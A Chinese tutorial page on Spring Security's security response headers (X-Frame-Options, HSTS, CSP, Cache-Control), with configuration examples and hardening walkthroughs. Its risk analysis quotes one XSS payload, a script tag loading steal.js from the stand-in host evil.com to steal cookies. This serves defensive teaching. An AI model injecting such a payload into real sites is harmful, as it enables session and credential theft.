乐途乐途
主页
  • 计算机基础

    • TCP/IP
    • Linux
    • HTTP
  • 数据库

    • SQL
    • MySQL 5.7
  • 编程语言

    • C
    • C++
    • Java SE
    • Python2
    • Python3
  • 数据格式

    • JSON
    • XML
  • 认证与安全

    • JWT
  • 工具

    • Markdown
  • Git

    • GitFlow
  • Quartz

    • Quartz
  • Java

    • Maven 入门
    • Maven 进阶
    • MyBatis
    • Spring
    • Spring MVC
  • Java

    • Spring Boot
    • Spring Cloud
    • Spring Cloud Alibaba
    • Spring Security
    • Spring AI
    • Spring Batch
    • Kafka
    • Java 设计模式
  • 缓存

    • Redis
  • 搜索引擎

    • Elasticsearch
  • 分布式协调

    • ZooKeeper
联系
阿里云
主页
  • 计算机基础

    • TCP/IP
    • Linux
    • HTTP
  • 数据库

    • SQL
    • MySQL 5.7
  • 编程语言

    • C
    • C++
    • Java SE
    • Python2
    • Python3
  • 数据格式

    • JSON
    • XML
  • 认证与安全

    • JWT
  • 工具

    • Markdown
  • Git

    • GitFlow
  • Quartz

    • Quartz
  • Java

    • Maven 入门
    • Maven 进阶
    • MyBatis
    • Spring
    • Spring MVC
  • Java

    • Spring Boot
    • Spring Cloud
    • Spring Cloud Alibaba
    • Spring Security
    • Spring AI
    • Spring Batch
    • Kafka
    • Java 设计模式
  • 缓存

    • Redis
  • 搜索引擎

    • Elasticsearch
  • 分布式协调

    • ZooKeeper
联系
阿里云
  • 学习路径
  • 第1章 Spring Security 基础

    • 本章定位
    • Spring Security 是什么
    • DelegatingFilterProxy
    • 安全过滤器链
    • SecurityFilterChain
    • 过滤器执行顺序
  • 第2章 认证

    • 本章定位
    • Authentication
    • 认证流程
    • AuthenticationManager
    • ProviderManager
    • DaoAuthenticationProvider
    • UserDetails
    • UserDetailsService
    • PasswordEncoder
    • BCryptPasswordEncoder
    • DelegatingPasswordEncoder
    • 表单登录
    • SecurityContext
    • SecurityContextHolder
    • UsernamePasswordAuthenticationToken
  • 第3章 授权

    • 本章定位
    • 授权模型
    • GrantedAuthority
    • AccessDecisionManager
    • AccessDecisionVoter
    • URL 级别授权
    • 方法级别安全
    • @PreAuthorize
    • @PostAuthorize
    • @PreFilter
    • @PostFilter
    • @Secured
    • RoleHierarchy
  • 第4章 过滤器链

    • 本章定位
    • FilterChainProxy
    • SecurityContextHolderFilter
    • LogoutFilter
    • BasicAuthenticationFilter
    • CsrfFilter
    • CorsFilter
    • HeaderWriterFilter
    • AnonymousAuthenticationFilter
    • RequestCacheAwareFilter
    • ExceptionTranslationFilter
    • FilterSecurityInterceptor
  • 第5章 会话管理

    • 本章定位
    • 会话管理
    • SessionFixation
    • 会话并发控制
    • SessionCreationPolicy
    • RememberMe
  • 第6章 JWT

    • 本章定位
    • JWT
    • JwtDecoder
    • JWT 认证
    • JwtAuthenticationConverter
  • 第7章 OAuth2

    • 本章定位
    • OAuth2 基础
    • OAuth2 Client
    • OAuth2 Resource Server
    • 第三方登录配置
  • 第8章 攻击防护

    • 本章定位
    • CSRF 跨站请求伪造防护
    • CORS 跨域防护
    • Clickjacking 点击劫持防护
    • 安全响应头
    • Session Fixation 会话固定防护
  • 第9章 测试

    • 本章定位
    • 安全测试
    • @WithMockUser
    • 最佳实践

安全响应头

Spring Security 通过 HeaderWriterFilter 自动向所有 HTTP 响应添加一组安全响应头,限制浏览器的行为,阻断多种客户端攻击(如点击劫持、MIME 嗅探、XSS 反射、协议降级等)。开发者可通过 http.headers() 精确控制每个响应头的策略。


定义与作用

一句话定义:安全响应头是一组由服务器返回的 HTTP 头,指示浏览器在渲染页面、加载资源、执行脚本时遵循更严格的安全策略,减少攻击面。

Spring Security 的 HeaderWriterFilter 位于过滤器链第 4 位(在 SecurityContextHolderFilter 之后、CorsFilter 之前),对所有经过 Spring Security 过滤器的请求自动写入配置的安全头。Spring Security 5.x 默认启用以下响应头:

响应头默认值防护目标
X-Content-Type-Optionsnosniff阻止浏览器 MIME 类型嗅探,防止将 .jpg 等伪装文件当作脚本执行
X-Frame-OptionsDENY阻止页面被嵌入 iframe,防御 Clickjacking(点击劫持)
X-XSS-Protection1; mode=block启用浏览器旧版 XSS 过滤器(现代浏览器已废弃,Spring Security 6.x 默认关闭)
Strict-Transport-Security默认不启用强制浏览器通过 HTTPS 访问站点,防御中间人协议降级攻击
Cache-Controlno-cache, no-store, max-age=0, must-revalidate阻止浏览器缓存敏感页面(登录页、个人信息页)
Content-Security-Policy默认不启用限制页面可加载的资源来源,防御 XSS 和数据注入

攻击原理与防护流程

核心原理:这些响应头本身不阻止攻击者发送请求,而是限制浏览器在收到响应后的处理行为。例如 X-Frame-Options 不阻止攻击者构造 iframe,而是让浏览器拒绝渲染被嵌入的页面;HSTS 不阻止中间人监听,而是让浏览器后续拒绝建立 HTTP 连接。它们属于客户端安全策略,是服务端对浏览器的安全指令。


核心配置:http.headers() DSL

Spring Security 5.x 通过 http.headers() 配置安全响应头,各子 DSL 独立控制对应头部。

1. 默认配置(全部启用默认策略)

@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .headers() // 默认启用 X-Content-Type-Options、X-Frame-Options、Cache-Control
            .and()
            .authorizeRequests()
                .antMatchers("/public/**").permitAll()
                .anyRequest().authenticated()
            .and()
            .formLogin()
                .permitAll();
    }
}

2. 精细化控制各响应头

@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .headers()
                // 1. X-Frame-Options:点击劫持防护
                .frameOptions()
                    .deny() // 完全禁止嵌入 iframe
                    // .sameOrigin() // 仅允许同源嵌入
                    // .disable() // 禁用(不推荐)
                .and()
                // 2. X-Content-Type-Options:MIME 嗅探防护
                .contentTypeOptions()
                    .nosniff() // 严格按 Content-Type 解析
                .and()
                // 3. HSTS:强制 HTTPS
                .httpStrictTransportSecurity()
                    .includeSubDomains(true) // 包含子域名
                    .maxAgeInSeconds(31536000) // 1 年
                    .preload(true) // 加入浏览器预加载列表
                .and()
                // 4. CSP:内容安全策略
                .contentSecurityPolicy("default-src 'self'; script-src 'self' cdn.example.com; style-src 'self' 'unsafe-inline'")
                .and()
                // 5. Cache-Control:敏感页面缓存控制
                .cacheControl()
                .and()
                // 6. X-XSS-Protection(Spring Security 5.x 默认开启,6.x 默认关闭)
                .xssProtection()
                    .xssProtectionEnabled(true)
                    .block(true)
            .and()
            .authorizeRequests()
                .antMatchers("/public/**").permitAll()
                .anyRequest().authenticated();
    }
}

完整示例一:管理后台全面加固安全响应头

场景说明

企业 admin 管理后台(/admin/**)包含敏感操作(修改权限、删除数据、查看财务报表)。要求全面启用安全响应头,防止被嵌入钓鱼页面、防止缓存敏感信息、强制 HTTPS 传输。

操作前配置(仅默认响应头,HSTS 和 CSP 未启用)

@EnableWebSecurity
public class AdminSecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .authorizeRequests()
                .antMatchers("/login").permitAll()
                .antMatchers("/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated()
            .and()
            .formLogin()
                .loginPage("/login")
                .permitAll()
            .and()
            .headers(); // 仅默认:X-Content-Type-Options, X-Frame-Options, Cache-Control
            // ❌ HSTS 未启用:用户可能通过 HTTP 访问后被劫持
            // ❌ CSP 未启用:XSS 漏洞可利用外部脚本注入
    }
}

风险分析:

  • 管理员在公共网络下访问 http://admin.example.com(未强制 HTTPS),中间人可劫持流量、篡改页面内容;
  • 攻击者构造钓鱼页面,将 https://admin.example.com/admin/users 以 iframe 嵌入,配合视觉欺骗让管理员误操作(虽然默认 DENY 已阻止,但假设其他页面策略被放松);
  • 如果 admin 后台存在 XSS 漏洞(如某处未转义的用户输入),攻击者可注入 <script src='https://evil.com/steal.js'>,无 CSP 时脚本正常执行并窃取 Cookie。

操作后配置(全量安全响应头)

@EnableWebSecurity
public class AdminSecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .authorizeRequests()
                .antMatchers("/login").permitAll()
                .antMatchers("/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated()
            .and()
            .formLogin()
                .loginPage("/login")
                .permitAll()
            .and()
            .headers()
                .frameOptions().deny()
                .and()
                .contentTypeOptions().nosniff()
                .and()
                .httpStrictTransportSecurity()
                    .includeSubDomains(true)
                    .maxAgeInSeconds(31536000)
                .and()
                .contentSecurityPolicy(
                    "default-src 'self'; " +
                    "script-src 'self' 'unsafe-inline'; " + // 内联脚本用于 admin 后台某些组件
                    "style-src 'self' 'unsafe-inline'; " +
                    "img-src 'self' data:; " +
                    "frame-ancestors 'none'; " + // 与 X-Frame-Options 双重防护
                    "form-action 'self';")
                .and()
                .cacheControl()
                .and()
                .xssProtection()
                    .xssProtectionEnabled(true)
                    .block(true)
            .and()
            .requiresChannel() // 强制 HTTPS 通道
                .anyRequest().requiresSecure();
    }
}

结果分析:

  • X-Frame-Options: DENY + frame-ancestors 'none':浏览器拒绝在任何 iframe 中渲染 admin 页面,即使攻击者使用 <iframe> 也显示空白;
  • Strict-Transport-Security: max-age=31536000; includeSubDomains:管理员首次 HTTPS 访问后,浏览器在一年内拒绝建立该域及子域的 HTTP 连接,中间人无法降级;
  • CSP:限制脚本、样式、图片、表单提交来源,即使存在 XSS 注入点,外部脚本也无法执行;
  • Cache-Control:登录页和 admin 页面不会被浏览器缓存,公共电脑关闭后无残留;
  • 配合 requiresChannel().requiresSecure(),Spring Security 直接拦截 HTTP 请求重定向到 HTTPS。

完整示例二:为特定路径定制响应头策略

场景说明

应用同时提供 API 接口(/api/**)和 HTML 页面(/page/**)。API 接口返回 JSON,不需要 X-Frame-Options(JSON 不会被渲染),但需要更严格的 CSP。HTML 页面需要完整的 iframe 防护和缓存控制。

操作前配置(全局统一响应头,API 响应冗余)

@EnableWebSecurity
public class UnifiedSecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .headers() // 全局统一头部,API 和 HTML 都收到相同头
                .frameOptions().deny()
                .contentTypeOptions().nosniff()
                .httpStrictTransportSecurity()
                    .includeSubDomains(true)
                    .maxAgeInSeconds(31536000)
                .and()
                .contentSecurityPolicy("default-src 'self'")
            .and()
            .authorizeRequests()
                .antMatchers("/api/**").authenticated()
                .antMatchers("/page/**").authenticated();
    }
}

问题分析:API 返回 JSON 时,X-Frame-Options: DENY 无意义(JSON 不是 HTML,不会被 iframe 渲染),而 CSP 的 default-src 'self' 对 JSON 响应也无实际作用。虽然不影响功能,但增加了响应体积,且未针对不同场景优化。

操作后配置(使用 HeaderWriter 按路径差异化)

@EnableWebSecurity
public class DifferentiatedSecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .authorizeRequests()
                .antMatchers("/api/**").authenticated()
                .antMatchers("/page/**").authenticated()
                .anyRequest().permitAll()
            .and()
            .formLogin()
                .permitAll();

        // 使用自定义 HeaderWriter 按路径区分
        http.headers()
            .addHeaderWriter(new DelegatingRequestMatcherHeaderWriter(
                new AntPathRequestMatcher("/page/**"),
                new StaticHeadersWriter(
                    "X-Frame-Options", "DENY",
                    "Cache-Control", "no-cache, no-store, max-age=0, must-revalidate"
                )
            ))
            .addHeaderWriter(new DelegatingRequestMatcherHeaderWriter(
                new AntPathRequestMatcher("/api/**"),
                new StaticHeadersWriter(
                    "X-Content-Type-Options", "nosniff",
                    "Strict-Transport-Security", "max-age=31536000; includeSubDomains"
                )
            ))
            .defaultsDisabled(); // 禁用默认 HeaderWriter,完全自定义
    }
}

结果分析:访问 /page/index.html 时,响应头包含 X-Frame-Options: DENY 和 Cache-Control;访问 /api/users 时,响应头包含 X-Content-Type-Options 和 HSTS。避免了对 API JSON 响应附加无意义的 iframe 和缓存头,响应更精简,策略更精准。defaultsDisabled() 表示完全接管头部写入,避免默认头与新自定义头冲突。


易错场景:CSP 策略配置过于严格导致业务功能异常

面试高频考点:Content-Security-Policy 配置 default-src 'self' 后,前端页面加载第三方 CDN 脚本、内联事件处理函数(如 onclick)或 WebSocket 连接失败,如何排查?

错误场景还原:

.headers()
    .contentSecurityPolicy("default-src 'self'; script-src 'self'")

浏览器报错:Refused to load the script 'https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js' because it violates the following Content Security Policy directive: "script-src 'self'".

或:Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'self'".

问题分析:CSP 的 default-src 是默认值,但 script-src 一旦显式声明,就会覆盖 default-src 对脚本的定义。上述配置只允许同源脚本,所有第三方 CDN 和内联脚本被阻断。这是一个典型的安全策略过度收紧影响业务的问题。

正确做法:逐步收紧 CSP,先使用 Content-Security-Policy-Report-Only(只报告不拦截)收集违规日志,再调整为正式策略:

.headers()
    .contentSecurityPolicy(
        "default-src 'self'; " +
        "script-src 'self' https://cdn.jsdelivr.net https://cdn.example.com; " +
        "style-src 'self' 'unsafe-inline'; " + // 允许内联样式(常见于前端框架)
        "img-src 'self' data: https:; " +
        "connect-src 'self' wss://api.example.com; " + // WebSocket 连接白名单
        "frame-ancestors 'none'; " +
        "report-uri /api/csp-report;")

面试追问:X-Frame-Options 和 CSP 的 frame-ancestors 有什么区别?

答:X-Frame-Options 是旧标准,仅支持 DENY 和 SAMEORIGIN 两个值,不支持指定具体域名列表,且部分浏览器不支持 ALLOW-FROM(已废弃)。frame-ancestors 是 CSP 的标准指令,支持 'none'、'self' 和具体域名列表(如 https://partner.com),功能更灵活。现代推荐同时使用二者:旧浏览器认 X-Frame-Options,新浏览器认 frame-ancestors,形成互补覆盖。Spring Security 的 frameOptions().deny() 与 contentSecurityPolicy("frame-ancestors 'none'") 可以共存,不会产生冲突。


核心类速查

类说明
HeaderWriterFilter核心过滤器,向响应写入所有配置的安全头
HeaderWriter接口,定义写入单个或多个响应头的方法
XContentTypeOptionsHeaderWriter写入 X-Content-Type-Options: nosniff
XFrameOptionsHeaderWriter写入 X-Frame-Options(DENY / SAMEORIGIN)
XXssProtectionHeaderWriter写入 X-XSS-Protection
HstsHeaderWriter写入 Strict-Transport-Security(HSTS)
CacheControlHeadersWriter写入 Cache-Control 等缓存头
ContentSecurityPolicyHeaderWriter写入 Content-Security-Policy
DelegatingRequestMatcherHeaderWriter按请求路径匹配,对不同路径写入不同头部
StaticHeadersWriter写入自定义静态键值响应头
上一页
Clickjacking 点击劫持防护
下一页
Session Fixation 会话固定防护